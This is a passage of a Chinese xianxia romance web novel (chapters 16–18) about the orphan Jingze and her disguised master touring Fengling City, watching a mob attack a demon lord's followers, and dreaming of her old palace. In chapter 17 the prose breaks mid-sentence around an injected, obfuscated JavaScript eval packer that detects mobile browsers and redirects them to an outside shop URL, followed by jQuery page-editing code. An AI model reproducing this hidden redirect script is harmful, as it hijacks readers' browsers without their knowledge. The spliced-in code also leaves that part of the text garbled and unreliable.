话音刚落,景泽早已按捺不住,伸手抓起鸡腿,一口下去,但觉外皮焦香酥脆,内里鲜嫩多汁,肉汁混着油脂在口中四溢开来,满嘴都是那股子说不出的鲜香。 她在沧溟城流浪这些年,饿极了连馊馒头都抢过,几时尝过这等美味?一时之间,只觉此生从未这般快活过,恨不得连舌头都吞了下去。 纥奚时砚支着下颌,静静瞧着她狼吞虎咽的模样,眼中又是好笑,又是心疼。 见她吃得满嘴油光,便从袖中抽出一方素帕,轻轻替她擦去嘴角的油渍,又斟了杯温水推到她面前。 “慢些吃,仔细噎着,不够再添。” 景泽嘴里塞得鼓鼓囊囊,含混地“嗯嗯”应着,手上却不停,三下五除二啃完八只鸡腿,又向那排骨伸出了魔爪。不消片刻,面前的骨头便堆得小山似的。 吃到一半,她忽然觉着不对,抬眼一瞧,对面仙女姐姐面前的碗筷干干净净,竟是一口未动。 景泽嘴里嚼着肉,含糊问道:“姐姐怎么不吃?” 那仙女姐姐淡淡一笑,笑容里透着一股说不出的清冷。 “我早已辟谷,不食人间烟火了。” 景泽一愣,随即在心中大呼可惜,这般美味都不吃,这天仙一般的日子,过着还有什么趣味?看来自己这凡夫俗子,还是老老实实当个吃货来得快活。 她正啃着一块骨头,心里忽然犯起嘀咕:怪了,这些菜怎么每一样都正合自己的口味?清蒸鲈鱼是她小时候做梦都想吃的,红烧排骨是她从前一顿能干掉半盘的,就连那碟子青菜,也是她下馆子必点的。 天下哪有这般巧法?!怪事啊!! 她偷偷抬眼望去,正撞仙女姐姐温柔似水的目光。 四目相对,景泽心头猛地一跳,慌忙低下头,假装专心致志地对付手里的骨头。 管他呢,有这么个天仙似的姐姐陪着,谁还顾得上想那些有的没的。 酒足饭饱,景泽懒洋洋躺在窗边软塌上,摸着圆滚滚的肚子,一脸餍足,活像只晒够了太阳的狸花猫。 夜风从窗缝溜进来,携着淡淡的花香,拂过脸颊,舒服得她几乎要眯眼睡去。 仙女姐姐坐在一旁圆凳上,白皙修长的手指握着短刀,指尖灵活转动,沿着果皮一圈圈削下。 烛光下,她眉眼低垂,睫毛在眼下投出浅浅的阴影,周身笼着一层薄纱似的月光,恍若画中仙子,看得景泽目不转睛。 这仙女姐姐,怎的这般好看啊!她要是也长得这般好看就好了。 窗外喧嚣正盛,小贩的吆喝声、孩童的嬉闹声、杂耍艺人的锣鼓声,交织在一起,此起彼伏。景泽探头望去,只见凤灵城的夜色,繁华得竟不似人间。 长街两侧,酒楼茶肆鳞次栉比,家家户户门前悬着大红灯笼,烛火摇曳。绸缎庄的橱窗里,流光溢彩的锦缎铺陈开来,织金绣银,夺目得很;珠宝铺的柜台中,各色宝石映着烛火,折射出细碎的光芒;胭脂坊门前站着笑靥盈盈的姑娘,手捧香粉,柔声招呼着过往行人。 街上人流如织,华服贵公子摇着折扇,缓步而行;佩剑修士步履匆匆,似要赶往某处;妇人牵着稚子,笑盈盈挑选着糖人泥偶;还有异族商贾头戴毡帽、身着长袍,围在烤肉摊前讨价还价。 空气中飘着烧烤的焦香、桂花糕的甜腻、胭脂水粉的芬芳,还有淡淡的酒香,混在一起,成了独属于凤灵城的烟火气。 景泽看得痴了,下巴搁在窗沿上,眼睛里映着满街灯火,亮晶晶的。 若能下去逛逛,该有多好。 念头刚起,一道温柔的声音便将她从思绪中拉回:“想下去玩么?” 景泽猛地扭头,只见仙女姐姐已削好苹果,递到她面前。那苹果被削成了雪人的模样,圆滚滚的身子,憨态可掬的小脸,头顶还削出两只小耳朵,精致得让人舍不得下口。 “哇!谢谢姐姐!” 景泽又惊又喜地接过苹果,捧在手心,左看右看,眉眼间满是欢喜。 这姐姐不仅生得美、武功高,手竟还这般巧,世上怎会有这般样样都好的人! 见她这般模样,纥奚时砚眼底漾开一抹笑意,这丫头,这般好哄,还是像小时候一样。 其实这一路上,他一直都在留意自己的爱徒。见她眉头常蹙,沉默寡言,心事重重的模样,比幼时少了许多笑靥,纥奚时砚心里便揪得慌,却又不能多问,只能变着法子哄她开心。 此刻看着她展颜一笑,便觉万般值得。 “姐姐。”景泽咬了一口苹果,脆甜的滋味在舌尖化开,腮帮子鼓鼓的。 “嗯?”仙女姐姐微微侧头,目光温柔。 “我想让姐姐陪我下去逛逛!”景泽从软塌上跳下来,眼睛亮得似天上星辰,“外面好热闹,我都听见杂耍的锣鼓声了!” “好。”仙女姐姐几乎没有犹豫,站起身理了理衣袖,自然而然地走到她身侧。 · 二人出了客栈,汇入人流。凤灵城的夜色,当真如梦似幻。街道两侧,每隔几步便悬着一盏花灯,莲花形、兔子形、鲤鱼形,还有走马灯,灯壁绘着山水人物,烛火一照便缓缓转动,栩栩如生。 灯影憧憧,流光溢彩,人走在其中,竟似踏入了一幅会动的画卷。 景泽穿梭在人群中,像个初入凡尘的小丫头,满眼新奇。一会儿被红彤彤的糖葫芦勾了目光,一会儿又在杂耍摊前驻足,见喷火艺人一口火喷出三尺高,吓得她往后一跳,却又忍不住拍手叫好。 “姐姐,凤灵城怎么这般热闹?” 她回过头,脸颊因兴奋染了薄红。 “我都舍不得走了!” 仙女姐姐走在她身侧,步伐不疾不徐,闻言温声解释:“凤灵城并非日日这般。五日后天云宗举办仙盟大会,此处是前往天云宗的必经之地,裂陆六城的修士、商贾,皆汇聚于此,自然热闹。” “原来是这样。” 景泽恍然大悟,难怪方才见了诸多异族人,有高鼻深目的异域商贾、身着兽皮的寒地猎户,还有头缠布巾的边疆女子。 二人正逛着,忽闻前方人声鼎沸,大批人群朝着一个方向涌去,你推我搡,似潮水般向前,口中还喊着什么,神情激动得近乎狂热。 景泽踮起脚尖望去,只瞧见黑压压的人头,什么也看不清。 正疑惑间,仙女姐姐轻声道:“那边热闹 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景泽一脸茫然:“我是裂陆六城的,却从未听过‘白话仙’。” 小摊贩眉头皱起,诧异道:“这怎么可能?裂陆六城谁人不知白话仙?他写的《裂陆杂报》,涵盖六城乃至四海八荒的事,时效快、内容野,无人不赞!你们竟没看过?” “裂陆杂报”四字一出,景泽浑身一震,如遭雷击。 那《裂陆杂报》,可是她流浪时唯一的慰藉!那报纸,上至仙门秘事,下至市井趣闻,无所不包,时效快得惊人,写得更是鲜活有趣,她翻来覆去看了无数遍,一直以为背后是神秘的组织或隐世高人,万万没想到,竟是眼前这个被粉丝围得水泄不通的白须老者?! “你……你说《裂陆杂报》是他写的?!”景泽指着那老者,声音都变了调,满是震惊。 小摊贩淡定地点点头,脸上带着“看吧,我就说他火”的得意神色,扬了扬下巴。 景泽的反应,比他预想的还要激烈。她慌忙在身上摸索,出门匆忙,忘了带纸!她急得团团转,恨不得撕块衣角下来!这可是千载难逢的要签名时刻啊!万万不可错过! “撕拉”一声轻响,一截素色衣袖递到了她面前,那是仙女姐姐刚撕下的衣袖。 “……!”景泽心头一热,太感动了!仙女姐姐当真好人呐! 景泽毫不犹豫,一把抓过衣袖,扑上去便狠狠抱了仙女姐姐一下,随即转身冲进人群: “白话仙!给我也签一个!我也是你的铁杆粉丝!你写的魔君逸归尘,我看了五遍!五遍啊!” 她的声音清亮,在人群中格外突出。只见她手肘开路,肩膀左顶右撞,在密密麻麻的人群中杀出一条血路,将衣袖递到白话仙面前。 白话仙抬起头,看了她一眼,笑眯眯地接过衣袖,提起毛笔,龙飞凤舞地签下名字,字迹潇洒不羁,颇有几分仙风道骨。 景泽捧着签了名的衣袖,如获至宝,挤出来时,嘴角咧到了耳根,笑得像个傻丫头。 …… 长街上灯火依旧,人声鼎沸,红尘万丈。 纥奚时砚站在原地,怔怔望着她的背影,许久未动。 方才,她抱他了。 虽只是一瞬,却实实在在落在了他心上。 纥奚时砚低下头,望着自己被拥抱过的腰腹位置,衣料上还留着浅浅的褶皱。 她这般喜欢白话仙么? 那在她心里,是白话仙多一分,还是师尊多一分? 半响,他摇了摇头,笑了,他怎么纠结起这种酸问题了。 16. 珍珠粉膏 仙盟会期渐近,凤灵城主乔淞文为款待四海赴盟修士、八方远道宾朋,特设漫天烟火大典。 吉时定在夜半子时,届时满城百姓只需凭窗远眺,便可望见九天之上,华彩遍绽。 世人传言,此番烟火并非凡间烟火。城主恐凡火殃及屋舍,特邀数位玄门高人,以一身精纯灵力凝化焰光,虚而不假,幻亦成真,较之俗世烟火更为绚烂磅礴。 景泽此生只见过一回烟火。 是她八岁那年,自那以后,她再也没见过烟火。 故而听闻今夜凤灵城子时灵焰现世,景泽心潮翻涌,竟连睡意都尽数抛在了脑后。 这不,距离烟火表演明明还有三个时辰,她已经趴在窗台上等着了。 凤灵城的夜晚,灯火辉煌,热闹非凡。远处的酒楼传来丝竹之声,近处的街道上还有孩童在追逐嬉戏,可这一切都无法吸引景泽的目光,她的眼睛只盯着那片黑漆漆的天空,等着它被点亮的那一刻。 可她的身体显然不太配合。 熬不了夜的她,趴在窗台上,已经打了十几个哈欠了。每打一次哈欠,她的眼睛就会眯起来,脑袋也会往下沉一点,然后又猛地抬起来,使劲眨眨眼,继续盯着天空。 坐在榻上运功调息的纥奚时砚,每听见她打一次哈欠,就撩起眼皮看她一眼。那双清冷的眸子里,从一开始的无奈,渐渐变成了疑惑,最后变成了一种“我看你能撑到什么时候”的纵容。 “现在什么时辰了,姐姐。” 景泽眺望着远处,忍不住又打了一个哈欠,连声音都透着困意。 纥奚时砚眉宇间微微蹙着,目光从她清瘦的背影上掠过,薄唇轻启:“亥时。” “怎么才亥时啊……”景泽的声音拖得老长,带着一股子委屈巴巴的劲儿。她已经困得不行了,眼皮像挂了铅坠,脑袋也一点一点地往下栽,全靠着一身“我一定要看到烟火”的顽强毅力在支撑。 为了防止自己就此睡过去,她甚至故意伸出手,用食指和中指撑住上下眼皮,硬是把眼睛撑得大大的。 纥奚时砚坐在她身后不远处,看着她这副滑稽的模样,唇角微微弯了一下。他缓缓闭上眼睛,无声地倒数。 三。 景泽的脑袋又开始往下点了。 二。 撑着上下眼皮的手指开始松动。 一。 “啪嗒”一声,景泽撑着上下眼皮的手倏地一松,两眼一闭,整个人像断了线的木偶,直直往后倒去。 纥奚时砚不知何时已经起身,一双手稳稳地接住了她。他将她轻轻揽进怀里,低头看去,只见景泽的眉头微微皱着,像是梦里还在遗憾没看到烟火。 纥奚时砚伸出手,用指腹轻轻抚平她眉间的褶皱,动作极轻极柔。 “下次不许熬夜了,再熬夜就罚你。” 他低声说了一句,拦腰将她打横抱起,转身看了一眼那敞开的窗户,眸光一闪,窗户便无声无息地合上了,满城的喧嚣瞬间被隔绝在外。 纥奚时砚将她轻轻放倒在床上。当她的头发散落于枕上时,衬得那张小脸愈发苍白消瘦。 他的目光在她脸上停留了片刻,然后转身,命楼下小二打了盆热水上来。 小二敲门时,纥奚时砚已经用被子将景泽裹得严严实实,只露出一颗脑袋。他接过铜盆,关上门,将盆放在床边的矮凳上,拧了热毛巾,蹲下来,一点一点地替她擦脸。 从额头到眉心,从眉心到鼻梁,从鼻梁到脸颊,再到下巴和耳后。 擦完脸,他又拧了毛巾,替她擦手。景泽的手指又细又长,骨节分明,指尖却有几道细细的伤痕,是这些年在街头流浪留下的。 纥奚时砚握着景泽的手,拇指轻轻摩挲过那些伤痕时,眸色暗了暗。 擦完手后,他从袖中取出一只白瓷小瓶,拔开瓶塞,倒出些许乳白色的膏体。这是珍珠粉膏,是他专门从他那个解毒天才朋友那儿讨来的。 此膏费了不少稀有药材,像什么千年珍珠粉、雪山灵芝、深海鲛人泪、九色鹿的脂膏……每一味都珍贵稀缺,有价无市。哪怕是世间最尊贵的女子,花重金也寻不来一瓶,而他这里,却有满满当当数十瓶。 他用指腹蘸了粉膏,轻轻涂抹在景泽的脸上,均匀地推开。那膏体触肤即化,带着淡淡的清香。 涂完之后,效果立竿见影,景泽的脸蛋立马如剥了壳的鸡蛋一般,光滑白嫩细腻,连毛孔都看不见了。 纥奚时砚满意地盯着景泽的脸蛋看了半晌,这才替她拉上被子,掖好被角,又放下床帘,将案上烛火拨暗了些。 他走到榻边坐下,单手支起下颌,闭上眼睛,开始闭目养神。 屋内静悄悄的,只有她均匀的呼吸声,和窗外远远传来的更夫敲梆子的声音。 “天干物燥!小心火烛!” “咚!咚!咚!” 外面的烟火已经开始了,满天华彩,万人空巷。 可纥奚时砚没有去看,只默默坐在这里守护着他那放在心尖尖上的爱徒。 翌日。 景泽从床上醒来时,已经巳时了。 阳光透过窗棂洒进来,在地板上投下一片金灿灿的光斑。她翻了个身,在被子里蹭了蹭,像只慵懒的猫,舍不得睁眼。 昨晚她做了一个很美妙的梦。她又梦见师尊了,还梦见了她在海底生活的那些日子。那时候,师尊、兄长、阿爹、阿娘,所有人都还在,非常美好。 景泽使劲抹了把脸,让自己清醒过来。坐起身,揉了揉眼睛,忽然想起什么! 烟火! 昨晚的烟火! 她猛地掀开被子,跳下床,冲到窗前,“哗啦”一声推开窗户。外面阳光明媚,街道上人来人往,小贩的吆喝声此起彼伏,哪里还有什么烟火? 她昨晚怎么睡过去了呀! 她明明撑着眼睛撑了那么久,怎么就在最后关头睡过去了呢!下次看烟火,还不知道是猴年马月呢!景泽心中那叫一个悔恨, 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景泽回过神,连忙往仙女姐姐身旁凑了凑,让出通道。目送城兵押着人下楼,她才小声问道:“姐姐,那些是什么人啊?” 仙女姐姐的瞳色晦暗不清,沉默了一瞬,淡淡道:“不知道。我猜,应该是三个倒霉蛋吧。” “倒霉蛋”三个字从他仙气飘飘的嘴里说出来,带着一种奇妙的违和感。景泽愣了一下,随即“扑哧”一声笑了出来,没想到这位仙女姐姐长得仙气飘飘,说话居然如此接地气。 两人抵达一楼大堂时,发现那些城兵居然还没走。 大堂里的气氛十分严肃,宾客们纷纷放下碗筷,交头接耳,窃窃私语。景泽和仙女姐姐找了个边角的位置坐下,正好能看见门口的情况。 景泽的目光无意间扫过靠门的墙壁,发现墙上的“丑画靶子”又多了一副。现在已经有两副了,并排挂着,画中应该是两个人,丑得各有各的特点,一个眼歪嘴斜,面目狰狞;另一个倒是眉目端正,可那神情阴鸷得让人看了心里发毛,额间还绘着一道火焰纹。 景泽素来喜爱好看之人,对丑陋之物避之唯恐不及。 乍见这两个丑逼,她瞬间觉得自己的眼睛被污染了,连忙移开目光,盯着仙女姐姐看了好几眼,那张出尘绝艳的脸,总算是帮她洗干净了眼睛。 小二端着托盘上来,替他们一一摆好早点。小米粥、小笼包、酱菜、茶叶蛋,热气腾腾,香气扑鼻。 景泽的肚子适时地叫了一声,可她却无暇吃饭,目光被大堂中央那个身材魁梧、长相英气的男人吸引了。 那男人腰佩长刀,眉目间满是严厉之色,站在所有人的目光中,对着满座宾客拱手行礼,声音洪亮如钟: “实在不好意思,打扰诸位用餐了。在下是凤灵城城兵统领赵铁山,奉城主之命,在此捉拿要犯。” 17. 诛邪 赵铁山顿了顿,目光扫过众人,继续道:“诸位也知道,仙盟大会召开在即,凤灵城涌进了各色各样的人。为了保证大家的安全,城主特意加强了城兵巡逻。就在昨晚,我们接到消息说云来客栈入住了三名魔君逸归尘的信徒。我等奉城主之命,已将人犯抓获。” “魔君逸归尘”五个字一出,大堂里瞬间炸了锅。 “什么?!逸归尘的信徒?” “在哪里?在哪里?看我不弄死他们!” “这些狗东西,居然敢来凤灵城?找死!” 众人纷纷摩拳擦掌,撸起袖子,一个个义愤填膺,恨不得当场把那三个人撕成碎片。 景泽顺着众人的目光望去,门口果然站着那三个人,嘴上贴着封条,额间的火焰纹在阳光下格外刺目。 她忽然想起来了。 那火焰纹她在那张丑画靶子上见过! 世人都知道,当年灵昭国国君昏庸无道,不但不阻止逸归尘修炼邪术,反而将镇压在十恶山下的恶灵本源赠给了他。自此,逸归尘的额间便有了一道火焰纹,是恶灵本源与他魂魄融合后留下的印记,意味着他与地狱业火共生共存,不死不灭。 门外那被押三人的额间火焰纹,与那魔君逸归尘如出一辙。 他们想效仿逸归尘?想当第二个魔君?那他们跟叛徒有什么区别? 大家本就对逸归尘恨之入骨,若不是他,天下何至于四分五裂?若不是他,飞升之门何至于关闭?若不是他,这世道何至于如此艰难? 眼下见了他的信徒,众人恨不得当场将那三人处死泄愤。 “打死他们!” “魔君的走狗!不配活着!” “杀!杀!杀!” 场面瞬间失控。无数人抓起手边能抓到的东西,筷子、碗碟、茶杯、甚至椅子朝着门口那三人猛砸了过去。“噼里啪啦”的碎裂声此起彼伏,骂声一浪高过一浪,整个大堂乌烟瘴气,乱成了一锅粥。 一个壮汉砸完手里的茶壶,觉得不过瘾,转身看到门边墙上挂着的两副丑画靶子,眼睛一亮,拔出腰间的短刀,冲上去就是一顿猛捅。 “噗!噗!噗!”刀尖刺穿画布,发出一声声闷响。壮汉捅得酣畅淋漓,嘴里还骂骂咧咧:“逸归尘!老子捅死你!捅死你!让你祸害天下!让你不得好死!” 旁边几个人见状,也纷纷拔出刀来,加入了捅画的行列。一时间,刀光霍霍,画布碎片纷飞,那两副丑画靶子被捅得千疮百孔,惨不忍睹。 小二见状,不但不阻止,反而两眼放光地迎了上去,小心翼翼地提醒道:“几位爷,捅一刀五十文钱。” 为首的那个壮汉正捅得兴起,闻言大手一挥,直接解开腰上的钱袋子,朝着小二扔了过去:“给我多拿几个靶子过来,老子今天要捅个痛快!” 小二接过钱袋子,在手里颠了颠,沉甸甸的,顿时喜笑颜开,腰弯得更低了:“得嘞!爷!您稍等!” 说罢,他一溜烟跑回后院,不多时便抱出了一大摞画靶子,足有三四十副,整整齐齐地码在墙边,满脸堆笑:“爷!我们这里要多少有多少!不够的话尽管吩咐!管够!” 景泽看得目瞪口呆。 她总算知道为什么门边要挂那俩丑逼了,敢情这是客栈的生意经!也总算知道为什么她刚刚会觉得那三个人额间的火焰纹眼熟了,因为那两个画靶子里,其中有一个额间就有火焰纹! 敢情那丑逼竟就是逸归尘本人! 景泽被大家的氛围所感染,心里也燃起了一团火。她捏了捏拳头,恨不得也冲上去捅几刀泄愤!要不是这个逸归尘,沧溟城能那么破败吗?这世道能那么乱吗?说不准她兄长的仙逝就跟这个逸归尘有关呢! 她越想越气,手在腰间摸了一圈,空的,她又摸了摸口袋,还是空的,她忽然想起自己是个穷鬼,这扎心的事实了。 没钱就是寸步难行,连报仇都报不了。 唉。 她正垂头丧气,忽然听见仙女姐姐的声音在耳边响起:“那些人戾气太重,太危险,你不要过去。” 景泽扭头看去,不知何时,仙女姐姐面前的桌子上竟然多了一套青瓷茶具。她正悠闲地品着茶水,修长的手指捏着茶杯,姿态优雅从容,仿佛方才那一片混乱与她毫无关系。 是啊,她毕竟是仙女嘛,仙女总是不食人间烟火的,景泽这般安慰自己。 等仙女姐姐品完茶,景泽也匆匆扒完了早饭。两人起身,并肩走出了云来客栈。 这时候,大堂里的混乱已经渐渐平息了。那些泄愤的宾客骂骂咧咧地散去,只留下店小二一个人拿着拖把,哼哧哼哧地清理满地的狼藉,碎瓷片、烂菜叶、泼洒的汤汁,混在一起,黏糊糊的,拖把一拖就是一道长长的污渍。 小二一边拖地一边叹气,也不知道是在心疼那些碗碟,还是在心疼自己。 走出客栈,阳光正好。 凤灵城的街道在白天又是另一番景象。两旁店铺鳞次栉比,绸缎庄的锦缎在阳光下流光溢彩,珠宝铺的宝石闪闪发亮,茶楼里飘出阵阵茶香,酒楼里传来觥筹交错之声。 街上行人如织,有说有笑,一派繁华盛世的景象。 阳光照在身上暖洋洋的,吃饱喝足的景泽舒服得伸了个大大的懒腰。 她眯起眼睛,深深地吸了一口气,感觉浑身上下每一个毛孔都在欢呼。 “真好啊。”她感叹道。 这时候,一只手忽然伸到她面前,将一份报纸塞进了她手里。 “姑娘,看一看吧!今日的《裂陆杂报》!免费赠送!” 景泽低头一看是《裂陆杂报》,连忙往后看去,一个穿着青布短褐的小生正抱着一大摞报纸,见人就发,笑容满面。 景泽不得不感叹这世道的贫富差距。在沧溟城,一份《裂陆杂报》要卖五个铜板,她每次都要犹豫半天才舍得买。而在凤灵城,居然免费赠送!果真是有钱啊! 她展开手中的报纸,目光落在头版上,眸中忽然一亮,脚步不知不觉就停了下来。 那是一张巨大的画像,占据了整整一个版面。画中是一个仙气飘飘的男子,手持佩剑,衣袂翩跹,立于云端之上,恍若谪仙临世。他的五官精致如画,眉目间透着一种超然物外的淡泊,让人看了便心生敬仰。 画像下方,印着一行大字:仙盟盟主·虚玄真君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507621|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ·南宫苍梧。 旁边几道小姑娘的尖叫声闯进了景泽的耳朵里: “啊啊啊啊啊!姐妹们快看!这不是仙盟盟主虚玄真君南宫苍梧吗!他已经抵达凤灵城了!” “我去!真的假的?虚玄真君居然离我们这么近!我们会不会跟他偶遇啊?” “偶遇?偶遇有什么好激动的?我阿爹说了,趁着这次仙盟大会召开,虚玄真君莅临,他要托关系把我送到虚玄真君门下,当他的关门弟子!” 景泽抬眼瞧去,说话的妹子约莫十五六岁,身着一袭华丽的鹅黄色罗裙,头上堆满了珠光宝气的配饰,什么金步摇、翡翠簪、珍珠耳坠,浑身上下无处不散发着“我家很有钱”的气息。她身后还跟着两个丫鬟,一个给她撑着遮阳伞,一个给她捧着点心盒,排场大得吓人。 “可是虚玄真君不收徒弟的啊?”有人提出了质疑,语气里带着一丝酸溜溜的味道。 那贵族小姐哂笑一声,用帕子掩了掩嘴角,慢悠悠地说:“那是你消息不够全面。我阿爹跟仙盟的一位长老是旧交,那位长老亲口说的,虚玄真君今年打算收一个关门弟子,只是还没对外公布罢了。” “这样么……” 问话的姑娘显然家境不好,穿着一身洗得发白的旧衣裳,手里还挎着一个竹篮。她的眼睛亮了一下,又暗了下去。 “那……拜入虚玄真君门下,应该顿顿都能吃饱吧?” 贵族小姐翻了个白眼,语气里满是不屑:“别说吃饱饭了,就是吃山珍海味都可以!虚玄真君是什么人物?仙盟盟主!六大宗门之首!他门下弟子还能饿着?” 山珍海味?! 景泽的耳朵一下子竖了起来。 这四个字在她脑子里当场炸开了花。她想起自己在沧溟城流浪的那些年,啃过馊馒头,喝过泔水,翻过垃圾堆,甚至跟野狗抢过食。 她做梦都想吃一顿饱饭,更别提山珍海味了。 她要不也去仙盟大会拜个师什么的? 她自然不是冲着虚玄真君的名头,就单纯是冲着那口吃的,她在心里默默地想:如果能拜入虚玄真君门下,那以后就不用再为吃饭发愁了,说不定还能学到一些本事,找到兄长的死因…… 她正想得出神,忽然觉得后背有点发凉。 一抬头,对上了仙女姐姐那审视的目光。 “……” 那双清冷的眸子正定定地看着她,那目光不算严厉,甚至可以说很平静,可景泽就是莫名觉得像是被什么东西看穿了,从里到外,从头到脚,连她心里那点“冲着山珍海味去拜师”的小心思都被看得一清二楚。 景泽的笑容僵在脸上,后背的凉意顺着脊背往上爬,一直爬到后脑勺。 “姐姐……” 她干巴巴地唤了一声,声音不自觉地小了下去。 仙女姐姐没说话,只是微微挑了挑眉,那目光在她脸上停留了片刻,然后移开了。 纥奚时砚转过身,继续往前走,白衣在风中轻轻飘动,背影清冷而疏离。 景泽愣了一下,连忙小跑着跟了上去,心里却忍不住犯起了嘀咕: “她这是生我气了么?” 18. 江染 自凤灵城迤逦而往天云山,前路尚有一程山水。 马车“嘚嘚嘚”地走在山道上,车轮碾过碎石尘土,车厢不时颠簸一下,硌得人骨节生疼。 景泽坐在车里,一会儿胡思乱想,一会儿又偷偷抬眼,瞧一瞧对面那位仙女姐姐。 她心中一直纳闷:这位仙子修为极高,为何要陪她坐这等慢吞吞硌得人难受的马车?车厢狭小,闷得很,她到底图什么呢? 悄悄打量了好一阵,景泽终于放下心来。先前她在街上翻看《裂陆杂报》,被仙女姐姐抓了个正着,原以为姐姐生了气,可现在看来,倒是她多心了。 那位姐姐正闭目养神,神态安详,瞧不出什么异样。 车行尚需大半日光阴,四下无甚景致可解烦闷,景泽连日奔波,早已身心俱疲,忍不住打了个绵长哈欠,倦意翻涌上来,双目一阖,不多时便沉沉睡去。 迷迷糊糊间,她觉得脸上湿漉漉的,像是什么东西在舔她,那东西的舌头粗糙而温热,一下一下地舔着她的脸颊,带一股淡淡的鱼腥气。 “别扰我睡觉……去去去……” 景泽模模糊糊地摆摆手,翻了个身,想继续睡。 可那东西不依不饶,又扯住了她的衣角,力气大得很,险些把她从榻上拽下去。 景泽被折腾得没了睡意,揉着脑袋坐起身来,待看清面前的情景,她呼吸猛地一窒! 眼前蹲伏一头巨型灵橘,身躯壮硕如凶兽,铜铃巨目定定凝望着她,胡须起落颤动,神情不耐至极,分明是等候多时、早已心生烦闷。 景泽一眼便认出此猫,正是师尊昔日豢养的灵宠,名号天师大人。 一念及此,寒意骤生。沉渊宫倾覆海底,广寒宫阙尽数崩塌,宫中诸般灵物皆随宫宇沉沦湮灭,天师大人本该早已葬身深海绝境,缘何会突兀现身此处? 景泽四下一望,整间屋子都以万年寒冰砌成,四壁晶莹,泛着幽幽蓝光,而自己正躺在一张寒冰床上。寒气如针,从四面八方刺进骨头里,冷得她连打了好几个喷嚏。 景泽慌忙抓起床上唯一的被子,将自己裹了个严严实实。 此地不是别处,正是昔日她初入师门时的居所,广寒宫阙万年寒冰室。 从前她灵脉未封,体内有灵气运转,住在这里虽也觉冷,却还撑得住,可如今她不过是个凡人,哪里受得住这等寒气? 景泽觉着自己的血都快冻住了,再多待一刻,她就能冻成冰渣子。 可是,她怎么会在这儿?她明明在沧溟城的街头流浪,明明坐在马车里,怎么一眨眼就跑到了此处? 景泽裹着被子从寒冰床上跳下来,光着的脚丫踩在冰面上,冻得她“嘶”了一声,连忙踮起脚尖。 目光在屋里转了一圈,忽然顿住了。 屋里的一切,还跟她当年离开时一模一样,书桌上笔墨纸砚整整齐齐,衣柜里衣裳叠得一丝不苟,窗台上一盆彼岸花正开着,花瓣上还凝着露珠。 所有的物件都是崭新的,没有一丝灰尘,师尊打扫过此处么? 不对不对,师尊怎么可能给她打扫房间?景泽终于明白过来,她现在在梦里呢!只是这梦太真切,真切得叫人分不清真假。 天师大人早已等得不耐烦,见她磨磨蹭蹭地发呆,上前一口叼住她的后衣领,将她甩到背上。景泽还没来得及惊呼,天师大人已经载着她冲出寒冰室,穿过长长的回廊,直奔琉霜水榭而去。 琉霜水榭是师尊专门练功打坐的所在,建在广寒宫阙最深处的一座冰湖之上。 一路向前,周遭寒雾渐浓,铺天盖地漫卷而来。此雾非寻常山野晨霭,乃是天地精纯寒灵之气凝结而成,白茫茫弥天蔽日,咫尺之外便视物难辨。 雾影之中,飞檐翘角隐约错落,亭台轮廓若隐若现,意境清寒孤绝。脚下栈道尽铺上品白玉,雅致绝伦,栈道两侧寒水之上,遍生水性杨花,皆是师尊以本命灵气常年滋养,四时不谢,岁岁常开。 微风吹过,花瓣纷纷扬扬地飘起来,落在水面上,落在栈道上,落在景泽的发间。 天师大人载着景泽往雾气最浓处闯去,景泽吓得一激灵,连忙抓紧了它脖子上的长毛。 师尊纥奚时砚素来性情冷厉孤高,最厌旁人无端惊扰,尤忌清修打坐之时有人擅闯近身。 昔年她初入师门,懵懂无知,不慎误闯水榭扰了师尊修行,当即被罚扫遍整座广寒宫阙。 殿宇连绵千重,楼阁亭台数不胜数,回廊巷道纵横交错,何止百十条之多。彼时她扫遍全境,双手磨满血泡,疲累至极,归来卧床沉沉昏睡三日三夜方才缓过气力。 这天师大人好生没良心!竟载着她去送死!虽是做梦,景泽还是免不了心惊胆战。 浓雾渐散,琉霜水榭已然近在眼前,帷幔半卷半垂,隐约可见亭中一道寂寂身影,端坐入定,不动如山。 那人一袭玄黑织金广袖长袍,墨色长发未束冠簪,尽数垂落肩头脊背,铺散及地。眉峰微蹙,薄唇紧抿,周身自带一股疏离冷漠之气。 正是她师尊,纥奚时砚。 天师大人行至水榭阶前,猛地周身一抖,顺势便将景泽从背上抖落,而后似是畏惧师尊威严,不敢多留,四蹄翻飞,转瞬便溜得无影无踪。 只余下景泽孤身一人,重重摔落在冰凉白玉阶石之上。 玉阶冷而坚硬,磕碰之下,周身骨节酸痛难忍,疼得她呜呼哀哉。景泽强撑着起身,揉了揉酸涩膝盖,抬眼之间,目光直直对上师尊的清冷容颜。 纥奚时砚依旧闭目未睁,神色漠然无波,可越是这般沉静冷淡,越是威压逼人。 景泽见状,后背瞬间沁出一层薄汗,大气也不敢喘。 “……” 细细观察之后,景泽悄悄松了口气,师尊似乎没有发觉她来了。 于是她踮起脚尖,光着脚丫,一步一步地往外挪,动作极轻极慢,生怕发出一丝声响。 琉霜水榭的栈道很长,只要她能走到雾气最浓的地方,就能趁机溜走…… 就在她即将跑出琉霜水榭的那一刻,面前忽然凭空现出一道金色的屏障,将她整个人弹了回去! 那屏障金光流转,上面布满了密密麻麻的符文,像一堵无形的墙,将去路堵得严严实实。 不好!这是师尊的独门护身结界,赤金灵障! 景泽的心猛地沉了下去。她僵硬地转过头,只见师尊不知何时已站了起来,正缓缓朝她走来。 纥奚时砚的脚步很慢,黑长的头发垂在身后,随着步伐轻轻摇曳,衬得那张脸愈发阴鸷冷峻。 师尊不笑的时候,浑身散发着一种叫人喘不过气的压迫感,景泽每回见了都觉得后背发凉,此刻更是连大气都不敢出。 不等师尊开口,她已“扑通”一声跪了下来,弯腰伏地,朗声道:“徒儿鲁莽,擅闯师尊清修禁地,甘愿领受责罚,还请师尊恕罪!” 景泽的额头紧紧贴着地面,身子止不住地微微发抖。 